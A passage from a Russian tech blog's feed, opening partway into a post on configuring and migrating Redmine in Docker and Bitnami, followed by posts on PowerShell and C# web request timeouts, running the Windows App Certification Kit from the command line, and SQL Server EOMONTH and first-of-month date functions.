<h2>Настройка почты</h2>
<p>Настройки SMTP Redmine берёт из <code>config/configuration.yml</code>. Создайте его рядом с <code>compose.yaml</code>:</p>
<pre><code class="language-yaml">production:
  email_delivery:
    delivery_method: :smtp
    smtp_settings:
      address: smtp.example.com
      port: 587
      enable_starttls_auto: true
      authentication: :login
      user_name: &quot;redmine@example.com&quot;
      password: &quot;app-password&quot;
</code></pre>
<p>Добавьте его в <code>volumes</code> сервиса <code>redmine</code> и выполните <code>docker compose up -d</code>:</p>
<pre><code class="language-yaml">    volumes:
      - files:/usr/src/redmine/files
      - ./configuration.yml:/usr/src/redmine/config/configuration.yml
</code></pre>
<p>На сервере Bitnami правьте <code>/opt/bitnami/redmine/config/configuration.yml</code> и перезапускайте <code>sudo /opt/bitnami/ctlscript.sh restart</code>.</p>
<p>Чтобы отправить проверочное письмо:</p>
<ol>
<li>В разделе «Моя учётная запись» укажите свой настоящий адрес. Письмо уйдёт на него, а у свежего админа там заглушка (<code>admin@dummy.invalid</code> в 7.0).</li>
<li>В разделе Администрирование → Настройки → Уведомления по email заполните «Исходящий email адрес».</li>
<li>Нажмите «Послать email для проверки».</li>
</ol>
<h2>Адрес сайта для ссылок в письмах</h2>
<p>Ссылки в письмах Redmine собирает из настроек. Заполните «Имя компьютера» и «Протокол» в разделе Администрирование → Настройки → Общее. Или из консоли:</p>
<pre><code class="language-bash">docker compose exec redmine bundle exec rails runner \
  &#39;Setting.host_name = &quot;redmine.example.com&quot;; Setting.protocol = &quot;https&quot;&#39;
</code></pre>
<p>Контейнер отдаёт обычный HTTP на порту 3000. HTTPS делайте на прокси перед ним: nginx, Caddy или Traefik.</p>
<p>Если Redmine стоит на сервере Bitnami, направьте домен на его IP и запустите <code>sudo /opt/bitnami/bncert-tool</code>. Утилита спросит имена доменов, получит сертификат Let&#39;s Encrypt, настроит его продление и редирект с HTTP на HTTPS. Виртуальные хосты Apache, в которых я в 2016 году прописывал <code>ServerName</code> и <code>ServerAlias</code>, теперь лежат в <code>/opt/bitnami/apache/conf/vhosts/</code> (<a href="https://docs.bitnami.com/virtual-machine/apps/redmine/administration/redirect-custom-domains/" target="_blank" rel="noopener">документация Bitnami</a>).</p>
<h2>secret_key_base: ошибка в Bitnami и разлогины</h2>
<p>Если запустить <code>rails</code> или <code>rake</code> вручную в Bitnami Redmine, где ключа ещё нет, получите:</p>
<pre><code class="language-text">Missing `secret_key_base` for &#39;production&#39; environment, set this string with `bin/rails credentials:edit` (ArgumentError)
</code></pre>
<p>Совет про <code>credentials:edit</code> пропустите. На виртуалке или облачном сервере Bitnami ключ создаёт задача самого Redmine:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rake generate_secret_token
</code></pre>
<p>Ключ подписывает cookie сессий, поэтому новый ключ после перезапуска разлогинит всех.</p>
<p>В контейнере <code>bitnamilegacy/redmine</code> вместо этого задайте <code>SECRET_KEY_BASE</code> в <code>environment</code>, как в <code>compose.yaml</code> выше. Без переменной контейнер генерирует новый ключ при каждом пересоздании. Официальный образ ведёт себя так же. Я проверил оба: с переменной сессия пережила пересоздание контейнера, без неё Redmine отправил меня на страницу входа.</p>
<h2>Переезд с Bitnami на официальный образ</h2>
<p>Ваши данные — база <code>bitnami_redmine</code> и папка <code>files</code> с вложениями. Дамп из MariaDB от Bitnami загружается в MySQL 8.4 после одной замены через <code>sed</code>, поэтому базу меняем на MySQL. В <code>compose.yaml</code> замените сервис <code>db</code>, <code>REDMINE_DB_POSTGRES</code> поменяйте на <code>REDMINE_DB_MYSQL</code>, а том <code>pgdata</code> переименуйте в <code>dbdata</code>:</p>
<pre><code class="language-yaml">  db:
    image: mysql:8.4
    restart: unless-stopped
    command: --transaction-isolation=READ-COMMITTED
    environment:
      MYSQL_DATABASE: redmine
      MYSQL_USER: redmine
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_RANDOM_ROOT_PASSWORD: &quot;yes&quot;
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;mysql -h 127.0.0.1 -u redmine -p$$MYSQL_PASSWORD -e &#39;SELECT 1&#39; redmine&quot;]
      interval: 5s
      retries: 20
</code></pre>
<p>Инструкция по установке Redmine требует для MySQL режим <code>READ-COMMITTED</code>.</p>
<p>На старом сервере:</p>
<pre><code class="language-bash">mysqldump -u root -p bitnami_redmine &gt; bitnami_redmine.sql
tar czf redmine_files.tar.gz -C /opt/bitnami/redmine files
</code></pre>
<p><code>mysqldump</code> спросит пароль — он тот же, что у приложения. Нет команды <code>mysqldump</code> — берите <code>mariadb-dump</code>. Если Redmine работал в compose-проекте на <code>bitnamilegacy/redmine</code>:</p>
<pre><code class="language-bash">docker compose exec -T mariadb mariadb-dump -u root bitnami_redmine &gt; bitnami_redmine.sql
docker compose cp redmine:/bitnami/redmine/files ./files
</code></pre>
<p>Если у root там есть пароль, первая строка такая: <code>docker compose exec -T mariadb sh -c &#39;mariadb-dump -u root -p&quot;$MARIADB_ROOT_PASSWORD&quot; bitnami_redmine&#39; &gt; bitnami_redmine.sql</code>.</p>
<p>На новом сервере (<code>tar</code> пропустите, если папка <code>files</code> уже есть):</p>
<pre><code class="language-bash">docker compose up -d --wait db
sed &#39;s/utf8mb4_uca1400_ai_ci/utf8mb4_0900_ai_ci/g&#39; bitnami_redmine.sql \
  | docker compose exec -T db sh -c &#39;mysql -u redmine -p&quot;$MYSQL_PASSWORD&quot; redmine&#39;
tar xzf redmine_files.tar.gz
docker compose create redmine
docker compose cp files/. redmine:/usr/src/redmine/files/
docker compose up -d
docker compose exec redmine chown -R redmine:redmine files
</code></pre>
<p><code>sed</code> меняет <code>utf8mb4_uca1400_ai_ci</code> на <code>utf8mb4_0900_ai_ci</code>: такого правила сортировки в MySQL нет. Его ставит на таблицы MariaDB 11.5 и новее, в том числе <code>bitnamilegacy/mariadb:latest</code>. Дамп из MariaDB постарше <code>sed</code> оставит как есть.</p>
<p>При запуске образ сам обновит базу с 6.0 до 7.0. Входите под старым логином Bitnami. <code>chown</code> не пропускайте: <code>docker compose cp</code> сохраняет прежних владельцев файлов, и загрузка вложений падает с <code>Errno::EACCES: Permission denied</code>. Я так перенёс Redmine из <code>bitnamilegacy/redmine:6.0.6</code>, вложения доехали.</p>
<p>Плагины, которые поддерживают 7.0, положите в папку <code>./plugins</code>, примонтируйте её в <code>/usr/src/redmine/plugins</code> и задайте <code>REDMINE_PLUGINS_MIGRATE: &quot;1&quot;</code>. Подробнее — в <a href="https://koz.tv/ru/posts/poleznye-plaginy-redmine-i-ih-ustanovka-v-bitnami-redmine/">посте про плагины Redmine</a>.</p>
<h2>Обновление Redmine в Docker</h2>
<p>Сначала бэкап:</p>
<pre><code class="language-bash">docker compose exec -T db pg_dump -U redmine redmine &gt; redmine-$(date +%F).sql
docker compose cp redmine:/usr/src/redmine/files ./files-backup
</code></pre>
<p>Если переехали на MySQL, дамп снимайте так: <code>docker compose exec -T db sh -c &#39;mysqldump --no-tablespaces -u redmine -p&quot;$MYSQL_PASSWORD&quot; redmine&#39; &gt; redmine-$(date +%F).sql</code>.</p>
<p>Поменяйте тег, например <code>redmine:6.1</code> на <code>redmine:7.0</code>, и выполните:</p>
<pre><code class="language-bash">docker compose pull
docker compose up -d
</code></pre>
<p>Миграции запустятся сами — так я обновил 6.1.6 до 7.0.3. Тег <code>7.0</code> при каждом <code>pull</code> подтягивает исправления 7.0.x.</p>
<p>С новой мажорной версией PostgreSQL так не выйдет. <code>postgres:19rc1</code> на томе от 18-й версии падает с <code>there appears to be PostgreSQL data in: /var/lib/postgresql/18/docker</code>. Снимите дамп, запустите новую версию на пустом томе и загрузите дамп через <code>psql</code>.</p>
<h2>Частые ошибки</h2>
<ul>
<li>Том PostgreSQL 18 примонтирован в <code>/var/lib/postgresql/data</code>, как в старых инструкциях. Контейнер падает с <code>Error: in 18+, these Docker images are configured to store database data in a format which is compatible with &quot;pg_ctlcluster&quot;</code>. Монтируйте <code>/var/lib/postgresql</code>.</li>
<li>Дамп из MariaDB 11.5 или новее загружен без <code>sed</code>. Импорт падает с <code>ERROR 1273 (HY000) at line 26: Unknown collation: &#39;utf8mb4_uca1400_ai_ci&#39;</code>.</li>
<li>Healthcheck через <code>mysqladmin ping</code>. Он проходит даже при <code>Access denied</code>, а при первом запуске ему отвечает временный сервер, на котором MySQL готовит базу. <code>--wait db</code> возвращается раньше, чем поднимется настоящий сервер. Проверяйте вход по TCP, как в <code>compose.yaml</code> выше.</li>
<li>Дамп снят с <code>--databases</code>, как в <a href="https://docs.bitnami.com/virtual-machine/apps/redmine/administration/upgrade/" target="_blank" rel="noopener">инструкции Bitnami по обновлению</a>. Он переключается на базу <code>bitnami_redmine</code>, и загрузка падает с <code>Access denied for user &#39;redmine&#39;@&#39;%&#39; to database &#39;bitnami_redmine&#39;</code>.</li>
<li><code>$</code> в <code>.env</code>: Compose читает <code>ab$cd</code> как <code>ab</code> плюс пустую переменную. Пароли из <code>openssl rand -hex</code> таких символов не содержат.</li>
<li>Старые пути из версии этого поста 2016 года: <code>/opt/bitnami/apps/redmine</code> и правка Apache, чтобы убрать префикс <code>/redmine</code>. Нынешние сборки Bitnami держат Redmine в <code>/opt/bitnami/redmine</code> и открывают его с корня сайта.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Таймаут Invoke-WebRequest и WebClient в PowerShell</title>
      <link>https://koz.tv/ru/posts/nastroyka-taymauta-webclient-v-powershell/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nastroyka-taymauta-webclient-v-powershell/</guid>
      <pubDate>Wed, 09 Nov 2016 00:00:00 GMT</pubDate>
      <description>У WebClient нет свойства Timeout. Ставим таймаут через Invoke-WebRequest -TimeoutSec, HttpClient или наследника WebClient и ловим «The operation has timed out».</description>
      <content:encoded><![CDATA[<p>У <code>System.Net.WebClient</code> нет свойства <code>Timeout</code>. Варианта три: параметр <code>-TimeoutSec</code> у <code>Invoke-WebRequest</code> и <code>Invoke-RestMethod</code>, свойство <code>Timeout</code> у <code>HttpClient</code> или свой наследник <code>WebClient</code>.</p>
<pre><code class="language-powershell"># Веб-командлеты: секунды, 0 (по умолчанию) = без таймаута
Invoke-WebRequest -Uri &#39;https://example.com/&#39; -UseBasicParsing -TimeoutSec 30
Invoke-RestMethod -Uri &#39;https://example.com/&#39; -TimeoutSec 30

# HttpClient: Timeout меняют только до первого запроса
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
$http.Timeout = [TimeSpan]::FromSeconds(30)
$html = $http.GetStringAsync(&#39;https://example.com/&#39;).GetAwaiter().GetResult()
</code></pre>
<h2>Таймаут WebClient: наследник через Add-Type</h2>
<p>Переопределяем <code>GetWebRequest</code> и ставим таймаут каждому запросу:</p>
<pre><code class="language-powershell">Add-Type -IgnoreWarnings -TypeDefinition @&quot;
using System;
using System.Net;

public class TimeoutWebClient : WebClient
{
    public int TimeoutMs = 30000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        WebRequest request = base.GetWebRequest(address);
        if (request != null)
        {
            request.Timeout = TimeoutMs;
            HttpWebRequest http = request as HttpWebRequest;
            if (http != null) { http.ReadWriteTimeout = TimeoutMs; }
        }
        return request;
    }
}
&quot;@

$wc = New-Object TimeoutWebClient
$wc.TimeoutMs = 10000   # миллисекунды
$wc.DownloadString(&#39;https://example.com/&#39;)
</code></pre>
<p>Почему код такой:</p>
<ul>
<li><code>Timeout</code> — сколько ждать ответа (по умолчанию 100 секунд), <code>ReadWriteTimeout</code> — сколько ждать каждой порции тела (по умолчанию 5 минут). В моём тесте сервер отдал заголовки и замолчал на 8 секунд: <code>ReadWriteTimeout</code> на 3 секунды сработал, <code>Timeout</code> — нет.</li>
<li>В PowerShell 7 нужен ключ <code>-IgnoreWarnings</code>. <code>WebClient</code> устарел в .NET 6 (SYSLIB0014), а <code>Add-Type</code> считает предупреждения ошибками. Без ключа получите <code>Cannot add type. Compilation errors occurred.</code></li>
<li>Код на C# обходится без нового синтаксиса, чтобы тот же блок собрался и в Windows PowerShell 5.1 со старым компилятором CodeDom. Тип в сессии не переопределить: поменяли класс — переименуйте его или перезапустите PowerShell.</li>
</ul>
<h2>Invoke-WebRequest -TimeoutSec: что он ограничивает</h2>
<p><code>-TimeoutSec</code> действует, только пока не пришли заголовки ответа: сюда входят DNS, подключение и время, пока сервер думает. На скачивание тела он не влияет. С <code>-TimeoutSec 3</code> ответ, который сразу отдал заголовки и потом шёл 8 секунд, скачался без ошибок.</p>
<p>В PowerShell 7.4 параметр переименовали в <code>-ConnectionTimeoutSeconds</code> (<code>-TimeoutSec</code> остался псевдонимом) и добавили <code>-OperationTimeoutSeconds</code> — максимальную паузу между порциями данных. Когда качаете файлы, ставьте оба:</p>
<pre><code class="language-powershell">Invoke-WebRequest -Uri $url -OutFile $file -ConnectionTimeoutSeconds 15 -OperationTimeoutSeconds 60
</code></pre>
<p>Общее время не ограничивает ни один из них. Жёсткий лимит даёт <code>HttpClient.Timeout</code>: он действует на весь вызов <code>GetStringAsync</code> вместе с телом.</p>
<p>Ещё две детали:</p>
<ul>
<li><code>-MaximumRetryCount</code> не повторяет запрос после таймаута: с <code>-TimeoutSec 2 -MaximumRetryCount 2</code> вызов упал через 2 секунды.</li>
<li>В Windows PowerShell 5.1 есть только <code>-TimeoutSec</code>, и медленный DNS-запрос может оттянуть таймаут до 15 секунд и дольше (<a href="https://learn.microsoft.com/ru-ru/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1" target="_blank" rel="noopener">документация Microsoft</a>). В PowerShell 7 такого нет. Добавляйте в 5.1 <code>-UseBasicParsing</code>: после обновления безопасности от декабря 2025 года <code>Invoke-WebRequest</code> без него останавливается и спрашивает подтверждение.</li>
</ul>
<h2>«The operation has timed out» и DownloadDataInternal</h2>
<p>Так выглядит таймаут в Windows PowerShell 5.1 или .NET Framework:</p>
<pre><code class="language-text">Exception calling &quot;DownloadString&quot; with &quot;1&quot; argument(s): &quot;The operation has timed out&quot;

System.Net.WebException: The operation has timed out
   at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest&amp; request)
   at System.Net.WebClient.DownloadString(Uri address)
</code></pre>
<p>PowerShell 7.5 ставит в конце сообщения точку и добавляет сверху ещё три строки: <code>HttpWebRequest.GetResponse()</code>, <code>GetWebResponse</code> и <code>DownloadBits</code>.</p>
<p>В .NET Framework <code>DownloadDataInternal</code> открывает трассировку любой ошибки <code>DownloadString</code> и <code>DownloadData</code> (<code>throw e;</code> сбрасывает стек), так что смотрите на текст сообщения:</p>
<ul>
<li>«The operation has timed out»: сервер не ответил за <code>HttpWebRequest.Timeout</code> (по умолчанию 100 секунд). Поменяйте значение через наследника выше или перейдите на командлеты. Для ASP.NET за корпоративным прокси проверьте <a href="https://koz.tv/ru/posts/nastroyka-proksi-dlya-iis-prilozheniy-cherez-web-config/">настройки прокси в web.config</a>.</li>
<li>«(407) Proxy Authentication Required»: задайте <code>$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials</code> или <code>useDefaultCredentials=&quot;true&quot;</code> у <code>&lt;defaultProxy&gt;</code> в web.config.</li>
<li>«Could not create SSL/TLS secure channel»: перед запросом выполните <code>[Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor &#39;Tls12&#39;</code>.</li>
</ul>
<p>Таймаут ловите по типу исключения и смотрите на <code>Status</code>:</p>
<pre><code class="language-powershell">try {
    $wc.DownloadString($url)
}
catch [System.Net.WebException] {
    if ($_.Exception.Status -eq [System.Net.WebExceptionStatus]::Timeout) {
        Write-Warning &quot;Таймаут: $url&quot;
    }
    else { throw }
}
</code></pre>
<p>Если зависло тело ответа (сработал <code>ReadWriteTimeout</code>), PowerShell 7 пишет другое: «An exception occurred during a WebClient request.», <code>Status</code> равен <code>UnknownError</code>, внутри лежит <code>IOException</code>. Проверка <code>Status</code> такой случай пропустит, поэтому допишите в условие <code>-or $_.Exception.InnerException -is [System.IO.IOException]</code>.</p>
<p><code>Invoke-WebRequest</code> в PowerShell 7 по таймауту подключения бросает <code>TaskCanceledException</code> («The request was canceled due to the configured HttpClient.Timeout of 30 seconds elapsing.»), а по таймауту операции — <code>TimeoutException</code> (с <code>-OutFile</code> он приходит внутри <code>AggregateException</code>):</p>
<pre><code class="language-powershell">try {
    Invoke-RestMethod -Uri $url -TimeoutSec 30
}
catch [System.Threading.Tasks.TaskCanceledException] {
    Write-Warning &quot;Нет ответа за 30 секунд: $url&quot;
}
</code></pre>
<p>Windows PowerShell 5.1 здесь бросает <code>WebException</code> (<a href="https://learn.microsoft.com/ru-ru/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1" target="_blank" rel="noopener">документация Microsoft</a>), поэтому там подойдёт вариант для <code>WebClient</code>.</p>
<h2>Асинхронные методы WebClient игнорируют Timeout в Windows PowerShell 5.1</h2>
<p>В .NET Framework <code>HttpWebRequest.Timeout</code> не действует на асинхронные запросы, а <code>DownloadStringAsync</code>, <code>DownloadFileAsync</code> и их версии <code>TaskAsync</code> работают через <code>BeginGetResponse</code>. В PowerShell 7 <code>DownloadStringTaskAsync</code> в моём тесте оборвался по таймауту через 3 секунды. В 5.1 берите синхронные методы или <code>HttpClient</code>.</p>
<h2>Таймаут WebClient в C#</h2>
<p>Для .NET 6+ Microsoft советует <code>HttpClient</code>:</p>
<pre><code class="language-csharp">using var http = new HttpClient { Timeout = TimeSpan.FromSeconds(30) };
try
{
    Console.WriteLine(await http.GetStringAsync(url));
}
catch (TaskCanceledException ex) when (ex.InnerException is TimeoutException)
{
    Console.WriteLine(&quot;Таймаут&quot;);
}
</code></pre>
<p>Если старый код завязан на <code>WebClient</code>:</p>
<pre><code class="language-csharp">class TimeoutWebClient : WebClient
{
    public int TimeoutMs { get; set; } = 30_000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        var request = base.GetWebRequest(address);
        request.Timeout = TimeoutMs;
        if (request is HttpWebRequest http) http.ReadWriteTimeout = TimeoutMs;
        return request;
    }
}
</code></pre>
<p>В .NET 6+ добавьте <code>#pragma warning disable SYSLIB0014</code>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Windows App Certification Kit: запуск appcert.exe из командной строки</title>
      <link>https://koz.tv/ru/posts/windows-app-certification-kit-ne-rabotaet-v-windows-server-2/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/windows-app-certification-kit-ne-rabotaet-v-windows-server-2/</guid>
      <pubDate>Tue, 08 Nov 2016 00:00:00 GMT</pubDate>
      <description>Как запустить Windows App Certification Kit из командной строки, если окно кита не открывается: appcert.exe reset и test, полное имя пакета, отчёт report.xml.</description>
      <content:encoded><![CDATA[<p>В 2016 году я проверял UWP-приложение перед отправкой в Store, и в Windows Server 2016 окно Windows App Certification Kit (WACK) даже не открылось:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.avif 480w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.webp" alt="The UI workflow of Windows App Certification Kit is not supported on this OS version." width="480" height="163" style="aspect-ratio:480/163" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image1-480.webp 480w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<blockquote>
<p>The UI workflow of Windows App Certification Kit is not supported on this OS version.</p>
</blockquote>
<p>Консольная версия, <code>appcert.exe</code>, там работает. Тесты у неё те же, а на сборочном сервере всё равно нужна она.</p>
<pre><code class="language-bat">:: Командная строка, запущенная от имени администратора
cd /d &quot;C:\Program Files (x86)\Windows Kits\10\App Certification Kit&quot;

:: В документации Microsoft перед каждым тестом выполняют reset
appcert.exe reset

:: Проверить файл пакета, который не установлен
appcert.exe test -appxpackagepath &quot;C:\build\MyApp_1.0.0.0_x64.msix&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<p>Кит ставится вместе с Windows SDK, папка по умолчанию — <code>C:\Program Files (x86)\Windows Kits\10\App Certification Kit\</code>. Все параметры показывает <code>appcert.exe /?</code>.</p>
<h2>Проверить установленное приложение по полному имени пакета</h2>
<p>Так я делал в 2016 году: сначала ставил пакет, потом передавал его полное имя.</p>
<ol>
<li>Установите пакет. Visual Studio кладёт скрипт <code>Add-AppDevPackage.ps1</code> в папку пакета с суффиксом <code>_Test</code> внутри <code>AppPackages</code>: нажмите на него правой кнопкой и выберите Run with PowerShell.</li>
</ol>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.avif 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2.avif 733w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.webp" alt="Add-AppDevPackage.ps1 в AppPackages\Greetings_2.2.0.0_Test: Run with PowerShell" width="733" height="245" style="aspect-ratio:733/245" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2-480.webp 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image2.webp 733w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<ol start="2">
<li>Найдите <code>PackageFullName</code>:</li>
</ol>
<pre><code class="language-powershell">Get-AppxPackage -Name &quot;*Greets*&quot;
</code></pre>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.avif 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3.avif 769w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.webp" alt="Вывод Get-AppxPackage: PackageFullName приложения" width="769" height="148" style="aspect-ratio:769/148" srcset="https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3-480.webp 480w, https://koz.tv/posts/windows-app-certification-kit-doesnt-work-in-windows-server-2016/image3.webp 769w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<ol start="3">
<li>Запустите тест с этим именем:</li>
</ol>
<pre><code class="language-bat">appcert.exe reset
appcert.exe test ^
    -packagefullname &quot;1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<p>Я держал это в bat-файле рядом с пакетом:</p>
<pre><code class="language-bat">@echo off
set KIT=C:\Program Files (x86)\Windows Kits\10\App Certification Kit
set PKG=1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt
set REPORT=%~dp0report.xml

:: Удалить прошлый отчёт: кит может не перезаписать его,
:: а вы не прочитаете старые результаты
del &quot;%REPORT%&quot; 2&gt;nul

&quot;%KIT%\appcert.exe&quot; reset
&quot;%KIT%\appcert.exe&quot; test -packagefullname &quot;%PKG%&quot; -reportoutputpath &quot;%REPORT%&quot;
pause
</code></pre>
<p><code>%~dp0</code> — папка, где лежит bat-файл, обратный слэш в конце уже есть. Путь к отчёту должен заканчиваться на <code>.xml</code>, иначе кит его не примет.</p>
<p>Для десктопного приложения с установщиком в документации Microsoft такая команда:</p>
<pre><code class="language-bat">appcert.exe test -apptype desktop -appusage peruser ^
    -setuppath &quot;C:\build\setup.exe&quot; ^
    -reportoutputpath &quot;C:\build\report.xml&quot;
</code></pre>
<h2>Как читать отчёт</h2>
<p>У корневого элемента <code>REPORT</code> есть атрибут <code>OVERALL_RESULT</code>: <code>PASS</code>, <code>WARNING</code> или <code>FAIL</code>. Каждый тест — элемент <code>TEST</code> внутри <code>REQUIREMENTS/REQUIREMENT</code>, его результат лежит в <code>RESULT</code>. В PowerShell:</p>
<pre><code class="language-powershell">[xml]$report = Get-Content -Raw &quot;C:\build\report.xml&quot;
$report.REPORT.OVERALL_RESULT

# Тесты, которые не прошли
$tests = $report.SelectNodes(&#39;/REPORT/REQUIREMENTS/REQUIREMENT/TEST&#39;)
foreach ($test in $tests) {
    $result = $test.SelectSingleNode(&#39;RESULT&#39;)
    if ($result -and $result.InnerText.Trim() -ne &#39;PASS&#39;) {
        &#39;{0}: {1}&#39; -f $test.GetAttribute(&#39;NAME&#39;), $result.InnerText.Trim()
    }
}
</code></pre>
<p>HTML-копию отчёта с тем же именем кит сохраняет в <code>%LOCALAPPDATA%\Microsoft\AppCertKit\</code>.</p>
<h2>На сборочном сервере</h2>
<ul>
<li>Запускайте от имени администратора.</li>
<li>По документации киту нужен активный сеанс пользователя: служба может запустить его только внутри сеанса вошедшего пользователя, не в Session 0. Если кит падает на сборочном агенте, установленном как служба Windows, запустите агент обычным процессом под вошедшим пользователем. На той же странице сказано, что новые версии кита работают в автотестах и без интерактивного сеанса, так что сначала проверьте свою.</li>
<li>Включите режим разработчика в параметрах Windows: он есть в требованиях кита.</li>
<li>Пороги тестов производительности рассчитаны на слабый компьютер. Быстрый сервер может пройти тесты, которые слабый ноутбук провалит, поэтому Microsoft советует тестировать на маломощном компьютере.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>EOMONTH в MS SQL: первый и последний день месяца</title>
      <link>https://koz.tv/ru/posts/nachalo-mesyatsa-iz-daty-v-ms-sql-protivopolozhnost-funktsii/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nachalo-mesyatsa-iz-daty-v-ms-sql-protivopolozhnost-funktsii/</guid>
      <pubDate>Sat, 08 Oct 2016 00:00:00 GMT</pubDate>
      <description>EOMONTH в SQL Server: синтаксис, последний день текущего, прошлого и следующего месяца, четыре способа получить первый день месяца и группировка по месяцам.</description>
      <content:encoded><![CDATA[<p><code>EOMONTH</code> возвращает последний день месяца. Функции для начала месяца вроде <code>SOMONTH</code> в SQL Server нет, поэтому первый день я считаю через <code>DATEFROMPARTS</code> (на SQL Server 2022+ — через <code>DATETRUNC</code>):</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

SELECT EOMONTH(@d);                           -- 2026-11-30
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1); -- 2026-11-01
</code></pre>
<h2>Синтаксис EOMONTH</h2>
<pre><code class="language-sql">EOMONTH ( start_date [ , month_to_add ] )
</code></pre>
<ul>
<li><code>start_date</code> — дата: <code>date</code>, <code>datetime</code>, <code>datetime2</code> или строка, которая приводится к дате.</li>
<li><code>month_to_add</code> — необязательное целое число. EOMONTH сначала сдвигает дату на столько месяцев, потом берёт последний день. Отрицательное число сдвигает назад.</li>
<li>Результат всегда <code>date</code>, какой бы тип ни пришёл на вход. Время отбрасывается.</li>
</ul>
<p>EOMONTH появилась в SQL Server 2012, есть в Azure SQL Database, Azure SQL Managed Instance, Azure Synapse и Microsoft Fabric. В SQL Server 2008 и более ранних версиях её заменяет <code>DATEADD(day, -1, DATEADD(month, DATEDIFF(month, 0, @d) + 1, 0))</code>. Эта формула возвращает <code>datetime</code>.</p>
<h2>Последний день текущего, прошлого и следующего месяца</h2>
<pre><code class="language-sql">SELECT EOMONTH(GETDATE())     AS this_month,  -- 2026-11-30
       EOMONTH(GETDATE(), -1) AS prev_month,  -- 2026-10-31
       EOMONTH(GETDATE(), 1)  AS next_month;  -- 2026-12-31
</code></pre>
<p>В комментариях результат на 4 ноября 2026 года. Високосные годы EOMONTH учитывает: <code>EOMONTH(&#39;2024-02-10&#39;)</code> вернёт <code>2024-02-29</code>.</p>
<h2>Первый день месяца в SQL Server</h2>
<p>Все четыре варианта вернут 1 ноября 2026 года, но типы у них разные:</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

-- date, SQL Server 2012+
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
SELECT DATEADD(day, 1, EOMONTH(@d, -1));

-- тип как у @d, SQL Server 2022+
SELECT DATETRUNC(month, @d);

-- datetime, любая версия
SELECT DATEADD(month, DATEDIFF(month, 0, @d), 0);
</code></pre>
<ul>
<li><code>DATEFROMPARTS</code> читается проще всех, я беру её по умолчанию.</li>
<li><code>DATEADD(day, 1, EOMONTH(@d, -1))</code> — день после конца прошлого месяца. Пригодится, если в запросе уже есть EOMONTH.</li>
<li><code>DATETRUNC(month, @d)</code> работает в SQL Server 2022, Azure SQL Database, Managed Instance и Fabric. Тип она возвращает тот же, что получила: <code>datetime</code> останется <code>datetime</code>, <code>date</code> — <code>date</code>, а строковый литерал станет <code>datetime2(7)</code>. Уровень совместимости 160 ей не нужен: я запускал её в базе с уровнем 100.</li>
<li><code>DATEADD(month, DATEDIFF(month, 0, @d), 0)</code> — классический трюк из времён до SQL Server 2012. <code>0</code> здесь означает 1900-01-01: считаем, сколько целых месяцев прошло с этой даты, и прибавляем их обратно.</li>
</ul>
<p>Первый день прошлого и следующего месяца:</p>
<pre><code class="language-sql">DECLARE @d datetime = &#39;2026-11-04T15:30:00&#39;;

-- первый день прошлого месяца: 2026-10-01
SELECT DATEADD(month, -1, DATEFROMPARTS(YEAR(@d), MONTH(@d), 1));

-- первый день следующего месяца: 2026-12-01
SELECT DATEADD(day, 1, EOMONTH(@d));
</code></pre>
